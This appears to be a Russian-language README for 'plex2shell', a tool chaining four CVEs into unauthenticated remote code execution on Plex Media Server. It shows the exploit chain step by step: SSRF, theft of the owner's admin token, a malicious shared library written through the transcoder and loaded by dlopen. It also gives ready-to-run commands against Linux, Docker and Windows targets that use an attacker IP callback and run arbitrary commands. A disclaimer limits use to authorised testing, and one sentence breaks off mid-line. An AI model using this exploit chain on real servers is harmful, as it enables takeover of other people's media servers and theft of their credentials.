
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Цепочка неаутентифицированного RCE для Plex Media Server 1.43.3.10828 и более ранних версий.
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Описание: https://zmain.info/blog/plex2shell
Этот инструмент публикуется исключительно для авторизованного тестирования безопасности, академических исследований и защитных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый этим инструментом. Несанкционированный доступ к компьютерным системам является незаконным.
| CVE | Примитив |
|---|---|
| CVE-2026-96652 | Неаутентифицированный SSRF через /player/timeline protocol= |
| CVE-2026-96654 | Пивот на loopback: мёртвая проверка аутентификации + инъекция identifier= в searchOne |
| CVE-2026-96655 | SSRF транскодера с правами владельца + запись файла по произвольному пути (dump-yuv) |
| CVE-2026-96656 | Выполнение кода через dlopen неподписанного кодека в set-dir Codecs |
[открытый интернет, мусорный токен]
|
(1) /player/timeline --- SSRF ---> loopback origin
|
(2) /system/agents/.../searchOne --- инъекция identifier= --->
| межплагинный RPC
|
(3) networking.py:149 --- путаница префикса 127.0.0.1.* --->
| эксфильтрация admin-токена владельца
v
атакующий владеет admin-токеном ВЛАДЕЛЬЦА
|
(4) /video/:/transcode/universal?path=<url> --- SSRF транскодера --->
| загрузка медиа атакующего
|
(5) TranscoderH264Options=dump-yuv --- x264 записывает ELF атакующего
| в set-dir Codecs
v
второй транскод -> dlopen() каждого *.so -> выполняется конструктор
v
[uid=1000(plex)]
Полезная нагрузка — это яркость кадра 0 (luma) носителя без потерь (qp=0), который
ffmpeg, gcc (или x86_64-w64-mingw32-gcc для Windows-целей)# Linux native (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# One-shot:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
--help для всего остального.
GPLv3